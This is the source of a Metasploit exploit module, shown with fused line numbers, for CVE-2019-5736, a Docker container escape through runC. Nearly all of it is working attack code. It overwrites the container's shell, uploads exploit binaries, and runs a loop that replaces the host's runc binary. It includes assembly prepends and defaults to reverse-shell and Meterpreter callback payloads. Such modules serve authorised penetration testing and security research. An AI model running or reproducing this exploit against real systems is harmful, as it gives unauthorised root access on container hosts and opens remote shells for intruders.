Path: blob/master/modules/exploits/linux/local/docker_runc_escape.rb
31903 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67Rank = ManualRanking89include Msf::Post::Linux::Priv10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c15PAYLOAD_MAX_SIZE = 10485761617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Docker Container Escape Via runC Overwrite',22'Description' => %q{23This module leverages a flaw in `runc` to escape a Docker container24and get command execution on the host as root. This vulnerability is25identified as CVE-2019-5736. It overwrites the `runc` binary with the26payload and wait for someone to use `docker exec` to get into the27container. This will trigger the payload execution.2829Note that executing this exploit carries important risks regarding30the Docker installation integrity on the target and inside the31container ('Side Effects' section in the documentation).32},33'Author' => [34'Adam Iwaniuk', # Discovery and original PoC35'Borys Popławski', # Discovery and original PoC36'Nick Frichette', # Other PoC37'Christophe De La Fuente', # MSF Module38'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)39],40'References' => [41['CVE', '2019-5736'],42['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],43['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],44['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']45],46'DisclosureDate' => '2019-01-01',47'License' => MSF_LICENSE,48'Privileged' => true,49'Targets' => [50[51'Unix (In-Memory)',52{53'Platform' => 'unix',54'Type' => :unix_memory,55'Arch' => ARCH_CMD,56'DefaultOptions' => {57'PAYLOAD' => 'cmd/unix/reverse_bash'58}59}60],61[62'Linux (Dropper) x64',63{64'Platform' => 'linux',65'Type' => :linux_dropper,66'Arch' => ARCH_X64,67'Payload' => {68'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string69push 470pop rdi71_close_fds_loop:72dec rdi73push 374pop rax75syscall76test rdi, rdi77jnz _close_fds_loop7879mov rax, 0x000000000000006c80push rax81mov rax, 0x6c756e2f7665642f82push rax83mov rdi, rsp84xor rsi, rsi8586push 287pop rax88syscall8990push 291pop rax92syscall9394push 295pop rax96syscall97ASM98},99'DefaultOptions' => {100'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',101'PrependFork' => true102}103}104],105[106'Linux (Dropper) x86',107{108'Platform' => 'linux',109'Type' => :linux_dropper,110'Arch' => ARCH_X86,111'Payload' => {112'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string113push 4114pop edi115_close_fds_loop:116dec edi117push 6118pop eax119int 0x80120test edi, edi121jnz _close_fds_loop122123push 0x0000006c124push 0x7665642f125push 0x6c756e2f126mov ebx, esp127xor ecx, ecx128129push 5130pop eax131int 0x80132133push 5134pop eax135int 0x80136137push 5138pop eax139int 0x80140ASM141},142'DefaultOptions' => {143'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',144'PrependFork' => true145}146}147]148],149'DefaultOptions' => {150# Give the user on the target plenty of time to trigger the payload151'WfsDelay' => 300152},153'DefaultTarget' => 1,154'Notes' => {155# Docker may hang and will need to be restarted156'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],157'Reliability' => [REPEATABLE_SESSION],158'SideEffects' => [ARTIFACTS_ON_DISK]159}160)161)162163register_options([164OptString.new(165'OVERWRITE',166[167true,168'Shell to overwrite with \'#!/proc/self/exe\'',169'/bin/sh'170]171),172OptString.new(173'SHELL',174[175true,176'Shell to use in scripts (must be different than OVERWRITE shell)',177'/bin/bash'178]179),180OptString.new(181'WRITABLEDIR',182[183true,184'A directory where you can write files.',185'/tmp'186]187)188])189end190191def encode_begin(real_payload, reqs)192super193194return unless target['Type'] == :unix_memory195196reqs['EncapsulationRoutine'] = proc do |_reqs, raw|197# Replace any instance of the shell we're about to overwrite with the198# substitution shell.199pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])200overwrite_basename = File.basename(datastore['OVERWRITE'])201shell_basename = File.basename(datastore['SHELL'])202# Also, substitute shell base names, since some payloads rely on PATH203# environment variable to call a shell204pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)205# Prepend shebang206"#!#{datastore['SHELL']}\n#{pl}\n\n"207end208end209210def exploit211unless is_root?212fail_with(Failure::NoAccess,213'The exploit needs a session as root (uid 0) inside the container')214end215if target['Type'] == :unix_memory216print_warning(217"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\218"unavailable on the target as long as the new session is alive. Using a\n"\219"Meterpreter payload is recommended, since specific code that\n"\220"daemonizes the process is automatically prepend to the payload\n"\221"and won\'t block Docker."222)223end224225verify_shells226227path = datastore['WRITABLEDIR']228overwrite_shell(path)229shell_path = setup_exploit(path)230231print_status("Launch exploit loop and wait for #{wfs_delay} sec.")232create_process('/bin/bash', args: [ shell_path ], time_out: wfs_delay, opts: { 'Subshell' => false })233234print_status('Done. Waiting a bit more to make sure everything is setup...')235sleep(5)236print_good('Session ready!')237end238239def verify_shells240['OVERWRITE', 'SHELL'].each do |option_name|241shell = datastore[option_name]242unless command_exists?(shell)243fail_with(Failure::BadConfig,244"Shell specified in #{option_name} module option doesn't exist (#{shell})")245end246end247end248249def overwrite_shell(path)250@shell = datastore['OVERWRITE']251@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"252print_status("Make a backup of #{@shell} (#{@shell_bak})")253# This file will be restored if the loop script succeed. Otherwise, the254# cleanup method will take care of it.255begin256copy_file(@shell, @shell_bak)257rescue Rex::Post::Meterpreter::RequestError => e258fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")259end260261print_status("Overwrite #{@shell}")262begin263write_file(@shell, '#!/proc/self/exe')264rescue Rex::Post::Meterpreter::RequestError => e265fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")266end267end268269def setup_exploit(path)270print_status('Upload payload')271payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"272if target['Type'] == :unix_memory273vprint_status("Updated payload:\n#{payload.encoded}")274upload(payload_path, payload.encoded)275else276pl = generate_payload_exe277if pl.size > PAYLOAD_MAX_SIZE278fail_with(Failure::BadConfig,279"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")280end281upload(payload_path, generate_payload_exe)282end283284print_status('Upload exploit')285exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"286upload_and_chmodx(exe_path, get_exploit)287register_files_for_cleanup(exe_path)288289shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"290@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"291print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")292upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))293294return shell_path295end296297def upload(path, data)298print_status("Writing '#{path}' (#{data.size} bytes) ...")299begin300write_file(path, data)301rescue Rex::Post::Meterpreter::RequestError => e302fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")303end304register_file_for_cleanup(path)305end306307def upload_and_chmodx(path, data)308upload(path, data)309chmod(path, 0o755)310end311312def get_exploit313target_arch = session.arch314if session.arch == ARCH_CMD315target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86316end317case target_arch318when ARCH_X64319exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')320when ARCH_X86321exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')322else323fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")324end325end326327def loop_script(exe_path:, payload_path:)328<<~SHELL329while true; do330for f in /proc/*/exe; do331tmp=${f%/*}332pid=${tmp##*/}333cmdline=$(cat /proc/${pid}/cmdline)334if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then335#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&336sleep 3337mv -f #{@shell_bak} #{@shell}338chmod +x #{@shell}339exit340fi341done342done343SHELL344end345346def cleanup347super348349# If something went wrong and the loop script didn't restore the original350# shell in the docker container, make sure to restore it now.351if @shell_bak && file_exist?(@shell_bak)352copy_file(@shell_bak, @shell)353chmod(@shell, 0o755)354print_good('Container shell restored')355end356rescue Rex::Post::Meterpreter::RequestError => e357fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")358ensure359# Make sure we delete the backup file360begin361rm_f(@shell_bak) if @shell_bak362rescue Rex::Post::Meterpreter::RequestError => e363fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")364end365end366367def on_new_session(new_session)368super369@session = new_session370runc_path = cmd_exec('which docker-runc')371if runc_path == ''372print_error(373"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\374"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"375)376return377end378379begin380rm_f(runc_path)381rescue Rex::Post::Meterpreter::RequestError => e382print_error("Unable to delete #{runc_path}: #{e}")383return384end385if copy_file(@runc_backup_path, runc_path)386chmod(runc_path, 0o755)387print_good('Original runc binary restored')388begin389rm_f(@runc_backup_path)390rescue Rex::Post::Meterpreter::RequestError => e391print_error("Unable to delete #{@runc_backup_path}: #{e}")392end393else394print_error(395"Unable to restore the original runc binary #{@runc_backup_path}\n"\396"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"397)398end399end400401end402403404